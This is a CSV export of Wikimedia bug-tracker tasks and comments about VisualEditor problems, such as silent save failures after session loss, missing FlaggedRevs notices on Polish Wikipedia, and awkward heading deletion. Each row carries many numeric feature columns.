249074,VisualEditor: Dragging cursor through multi-part template responds unpredictably in Firefox,"AFAICT this is now fixed, I believe due to the changes in selection handling in Firefox. Sorry for the slow triage.",,,1385394193,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4r4lbhkxqhogotfzas57,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,21.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.875,"AFAICT this is now fixed, I believe due to the changes in selection handling in Firefox. Sorry for the slow triage."
53875,General non VE feedback goes to the VE feedback page.,"I've noticed quite a few edits going to the VE feedback page http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback page which don't really seem to be VE feedback. If you follow through the new editor experience its quite obvious why they are being directed there:
1)New editor finds a page, they want to edit and clicks ""Edit""
2) They have a question, they see the big ? in the top bar and click it
3) There are two options: ""user guide"" and ""Leave feadback"", the second is obviously the one for questions so they click that
4) There is some complicate text which is tldr and a nice box to ask your question. The user types in that and
5)Bingo, a new section on the feedback page

This senario probably explains why we are getting a few simple signature with no comments. As the ? is much more prominent than the Help in the left sidebar its grabbing the users attention so diverting users away from our main help system. This showing up to be a continuing problem with about one such post a day. A way needs to be found to direct users to the right place.

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1374583260,1390607728.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-fz3rgh4ljjpvwe3terlp,task_description,declined,True,c1,3,False,False,False,3,,1.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,6.333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,1.0,0.3333333333333333,4.666666666666667,8.666666666666666,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,6.333333333333333,2.0,1.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,14.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,8.0,4.0,6.666666666666667,1.6666666666666667,1.6666666666666667,10.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.0,0.0,4.666666666666667,8.666666666666666,0.6666666666666666,0.6666666666666666,2.0,0.0,4.666666666666667,0.0,1.3333333333333333,3.3333333333333335,0.0,2.3333333333333335,0.3333333333333333,0.0,1.0,3.732964135021097,0.7446202531645568,"I've noticed quite a few edits going to the VE feedback page URL page which don't really seem to be VE feedback. If you follow through the new editor experience its quite obvious why they are being directed there:
1)New editor finds a page, they want to edit and clicks ""Edit""
2) They have a question, they see the big ? in the top bar and click it
3) There are two options: ""user guide"" and ""Leave feadback"", the second is obviously the one for questions so they click that
4) There is some complicate text which is tldr and a nice box to ask your question. The user types in that and
5)Bingo, a new section on the feedback page

This senario probably explains why we are getting a few simple signature with no comments. As the ? is much more prominent than the Help in the left sidebar its grabbing the users attention so diverting users away from our main help system. This showing up to be a continuing problem with about one such post a day. A way needs to be found to direct users to the right place.

--------------------------
**Version**: unspecified
**Severity**: minor"
248668,General non VE feedback goes to the VE feedback page.,"Marking this as ""WORKSFORME"", though really we should consider the broader ramifications for us and think about adding a prominent help button for users who clearly want it.",,,1390607728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fz3rgh4ljjpvwe3terlp,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,6.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,16.0,3.0,0.0,6.0,0.0,9.0,0.0,3.0,3.0,3.0,6.0,3.0,0.0,0.0,4.5625,0.9375,"Marking this as ""WORKSFORME"", though really we should consider the broader ramifications for us and think about adding a prominent help button for users who clearly want it."
248660,General non VE feedback goes to the VE feedback page.,"Presumably the solution is to provide a proper help link for users for general concerns, rather than burying it where they never see it?",,,1374592005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fz3rgh4ljjpvwe3terlp,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,15.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.346153846153846,0.9230769230769231,"Presumably the solution is to provide a proper help link for users for general concerns, rather than burying it where they never see it?"
53858,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,"Both MW-Vagrant and Labs have cases where a simple single-machine MW+Parsoid+VisualEditor setup is desired.  Vagrant currently has this, but Labs does not.  We should find a way to factor it out so the two environments can share it (possibly with a git submodule).

This is a proof of concept for doing this more broadly.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54160",Needs Triage,90.0,1374573300,1408666032.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_description,declined,True,c1,3,True,False,False,3,,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,15.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,5.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,0.0,1.0,1.0,0.0,0.0,3.78125,0.6875,"Both MW-Vagrant and Labs have cases where a simple single-machine MW+Parsoid+VisualEditor setup is desired.  Vagrant currently has this, but Labs does not.  We should find a way to factor it out so the two environments can share it (possibly with a git submodule).

This is a proof of concept for doing this more broadly.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
247738,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,"Yeah.  It's not integrated with the normal Wikitech interface, but my understanding is it gets the job done (I haven't really used Labs-Vagrant, but I have a general understanding how it works).",,,1408666032,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,16.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,2.0,7.0,0.0,0.0,0.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7906976744186047,0.813953488372093,"Yeah.  It's not integrated with the normal Wikitech interface, but my understanding is it gets the job done (I haven't really used Labs-Vagrant, but I have a general understanding how it works)."
247732,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,Does ::role::labs::vagrant satisfy this request? Applying it via the wikitech interface provisions the labs host with a copy of MediaWiki-Vagrant and then the `labs-vagrant` command can be used to manipulate roles and run puppet.,,,1408597771,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,10.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.65,0.9,Does ::role::labs::vagrant satisfy this request? Applying it via the wikitech interface provisions the labs host with a copy of MediaWiki-Vagrant and then the CODE command can be used to manipulate roles and run puppet.
247727,Share VisualEditor and Parsoid puppet module between Vagrant and Wikimedia Labs,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939553,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-w26cnf2uzn6whhzpd4p5,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,3.88,0.88,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.]
53835,VisualEditor: Changing login status / losing session data during edit causes VE to break silently,"Edits that would trigger this error silently break VE:
""Sorry! We could not process your edit due to a loss of session data.""

On save, it shows animation indicating it is saving, but then does not save, leaving you in the editing screen.  It doesn't refresh to update your session data, so the edit will never succeed; and it doesn't show you the error message.

To reproduce: start an edit, then logout, and try to complete; or v-v (and more common) start one as an anon, then log in.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374524640,1385395314.0,PHID-USER-fgzcdbj3je3ksnhufo47,False,,False,PHID-TASK-fgo5ntod4pt7hex3reuf,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.5,7.0,6.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,4.0,1.5,2.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,10.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,3.0,0.0,1.5,0.0,0.0,0.0,3.5,0.5,5.0,0.5,3.5,4.0,0.0,0.0,0.5,0.0,7.5,0.5,0.5,0.0,5.0,6.5,0.5,0.0,1.0,0.0,5.0,0.0,0.5,2.0,0.0,1.5,0.5,0.0,0.0,3.5026338893766464,0.7329894644424935,"Edits that would trigger this error silently break VE:
""Sorry! We could not process your edit due to a loss of session data.""

On save, it shows animation indicating it is saving, but then does not save, leaving you in the editing screen.  It doesn't refresh to update your session data, so the edit will never succeed; and it doesn't show you the error message.

To reproduce: start an edit, then logout, and try to complete; or v-v (and more common) start one as an anon, then log in.

--------------------------
**Version**: unspecified
**Severity**: normal"
246479,VisualEditor: Changing login status / losing session data during edit causes VE to break silently,This was fixed some while ago as part of the save dialog re-write; sorry for the slow triage.,,,1385395314,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fgo5ntod4pt7hex3reuf,task_subcomment,,True,c1,3,True,,,21,,5.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.9545454545454546,This was fixed some while ago as part of the save dialog re-write; sorry for the slow triage.
53833,FlaggedRevs/PendingChanges notices not appearing at pl.wikipedia.org,"From https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#Krytyczne_zaniedbanie_interfejsu:_wersje_przejrzane

The Polish Wikipedia uses FlaggedRevisions or PendingChanges and has deployed both notices upon opening a page and a different text on the ""Save"" button to reduce confusion by new editors.  These notices are not appearing in VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1374518520,1374645680.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-ibvdz6zkyuw2mud34vwr,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,19.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.476190476190476,0.7619047619047619,"From URL

The Polish Wikipedia uses FlaggedRevisions or PendingChanges and has deployed both notices upon opening a page and a different text on the ""Save"" button to reduce confusion by new editors.  These notices are not appearing in VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: major"
246378,FlaggedRevs/PendingChanges notices not appearing at pl.wikipedia.org,"Yeah, this isn't good; we've actually just-about fixed it and will deploy it the morning (San Francisco time).

*** This bug has been marked as a duplicate of bug 49699 ***",,,1374645680,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ibvdz6zkyuw2mud34vwr,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1777777777777776,0.8444444444444444,"Yeah, this isn't good; we've actually just-about fixed it and will deploy it the morning (San Francisco time).

*** This bug has been marked as a duplicate of bug 49699 ***"
246369,FlaggedRevs/PendingChanges notices not appearing at pl.wikipedia.org,"That's not the real issue.

FlaggedRevs are enabled globally, for all pages, and *all non-autoreviewed edits require review before they are shown*; the only groups exempt from review are reviewers themselves and bots. (You can choose to view the so-called 'unstable' versions of pages instead of 'stable' ones in preferences.)

Information about this is shown to viewers before, during and after editing (using the messages pointed out in the issue report WhatamIdoing linked) – but VE shows it in none of these contexts.

I would consider this a blocker to deployment to anonymous users at least.",,,1374522496,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ibvdz6zkyuw2mud34vwr,task_subcomment,,True,c1,3,True,,,3,,1.0,0.0,0.0,2.0,0.5,6.0,0.0,0.0,0.0,0.0,3.0,2.5,0.0,0.5,0.0,1.0,0.0,3.0,13.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,4.0,3.0,1.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,2.5,5.0,0.0,2.5,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,13.0,2.0,0.0,2.5,0.0,3.0,0.0,0.0,1.0,0.5,1.5,0.0,1.0,1.0,4.106160761501851,0.7969328397673189,"That's not the real issue.

FlaggedRevs are enabled globally, for all pages, and *all non-autoreviewed edits require review before they are shown*; the only groups exempt from review are reviewers themselves and bots. (You can choose to view the so-called 'unstable' versions of pages instead of 'stable' ones in preferences.)

Information about this is shown to viewers before, during and after editing (using the messages pointed out in the issue report WhatamIdoing linked) – but VE shows it in none of these contexts.

I would consider this a blocker to deployment to anonymous users at least."
53831,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,"Long <pre> blocks rendered in Firefox 22 on Xubuntu Linux. Monobook skin.

When <pre> blocks contain lines longer than the width of the page, the <pre> block formatting finishes at the right edge of the page but the text continues. Shortly afterwards the page background finishes and the text continues onto a plain grey background. The html page though is rendered much wider than is needed to show all the text though (very approximately double the required width).

Example page: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=565361164#save_page

Firefox 22, Xubuntu Linux, Monobook skin.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11594}",Needs Triage,90.0,1374516900,1374526756.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_description,resolved,True,c1,3,False,False,True,3,,1.5,0.0,0.5,1.5,0.0,4.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,6.0,5.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.5,11.5,0.5,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,6.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.0,4.5,3.9779411764705883,0.6470588235294118,"Long <pre> blocks rendered in Firefox 22 on Xubuntu Linux. Monobook skin.

When <pre> blocks contain lines longer than the width of the page, the <pre> block formatting finishes at the right edge of the page but the text continues. Shortly afterwards the page background finishes and the text continues onto a plain grey background. The html page though is rendered much wider than is needed to show all the text though (very approximately double the required width).

Example page: URL

Firefox 22, Xubuntu Linux, Monobook skin.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11594}"
246287,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,"

*** This bug has been marked as a duplicate of bug 260 ***",,,1374526756,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 260 ***"
246282,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,"That really wouldn't surprise me, but I couldn't find anything when searching and nothing relevant popped up when I entered the summary. If it is a dupe then the other bug describes it using completely different words, probably describing the cause rather than the symptom.",,,1374518559,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_subcomment,,True,c1,3,False,,,3,,0.0,2.0,2.0,0.0,4.0,6.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,18.0,6.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,6.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,2.0,2.0,6.0,0.0,0.0,0.0,4.490196078431373,0.8235294117647058,"That really wouldn't surprise me, but I couldn't find anything when searching and nothing relevant popped up when I entered the summary. If it is a dupe then the other bug describes it using completely different words, probably describing the cause rather than the symptom."
246276,Long lines in <pre> blocks don't cause page formatting to extend right. The html page is extended massively further than needed,This is surely a dupe of something.,,,1374517626,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-o6hvv37kdmfpbrbf7mjf,task_subcomment,,True,c1,3,True,,,3,,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,This is surely a dupe of something.
53829,"Removing a heading is hard, leaving ==<nowiki/>== or turning the next paragraph into a heading","1. Visit any page on Wikipedia today.
2. Click ""Edit"" to enter VisualEditor.
3. Find a section heading and highlight it.
4. Press the DEL key on your keyboard to delete it.
5. Click ""Save Page"" then ""Review your changes.""

The heading text has been removed, but the following wikitext has been left in its place.

==<nowiki/>==

Cancel the save, go back to the empty heading, and place your cursor in it. Press DEL in an attempt to delete the empty heading. As a result, the entire paragraph below the old heading turns into a heading.

So how on earth do you delete a heading? I canceled my edit, re-edited, and this time, I highlighted the heading AND the first line of the paragraph beneath it, and pressed DEL. Regardless, the whole paragraph turned into a heading again.

I finally managed to delete a heading by placing the cursor at the end of the preceding paragraph (after the last character of the paragraph) and dragging all the way to the end of the heading, then pressing DEL. Now, the heading was gone and nothing else turned into a heading.

In short, you must delete some kind of invisible character on the LINE ABOVE the heading, in order to delete the heading. This is not expected behavior.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374514920,1374609807.0,PHID-USER-o5tv5cyrple4fn5xqopm,False,,False,PHID-TASK-veppenlnczvh4hbbxwsw,task_description,resolved,True,c1,3,False,False,True,3,,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,3.6666666666666665,10.666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,2.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,1.6666666666666667,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,10.666666666666666,1.3333333333333333,10.666666666666666,0.3333333333333333,2.6666666666666665,12.333333333333334,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.0,0.0,5.0,10.666666666666666,3.6666666666666665,0.3333333333333333,2.0,0.0,5.0,0.0,0.3333333333333333,2.6666666666666665,0.0,2.3333333333333335,0.0,0.0,2.0,3.697594501718213,0.604810996563574,"1. Visit any page on Wikipedia today.
2. Click ""Edit"" to enter VisualEditor.
3. Find a section heading and highlight it.
4. Press the DEL key on your keyboard to delete it.
5. Click ""Save Page"" then ""Review your changes.""

The heading text has been removed, but the following wikitext has been left in its place.

==<nowiki/>==

Cancel the save, go back to the empty heading, and place your cursor in it. Press DEL in an attempt to delete the empty heading. As a result, the entire paragraph below the old heading turns into a heading.

So how on earth do you delete a heading? I canceled my edit, re-edited, and this time, I highlighted the heading AND the first line of the paragraph beneath it, and pressed DEL. Regardless, the whole paragraph turned into a heading again.

I finally managed to delete a heading by placing the cursor at the end of the preceding paragraph (after the last character of the paragraph) and dragging all the way to the end of the heading, then pressing DEL. Now, the heading was gone and nothing else turned into a heading.

In short, you must delete some kind of invisible character on the LINE ABOVE the heading, in order to delete the heading. This is not expected behavior.

--------------------------
**Version**: unspecified
**Severity**: normal"
246183,"Removing a heading is hard, leaving ==<nowiki/>== or turning the next paragraph into a heading","

*** This bug has been marked as a duplicate of bug 50100 ***",,,1374609807,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-veppenlnczvh4hbbxwsw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50100 ***"
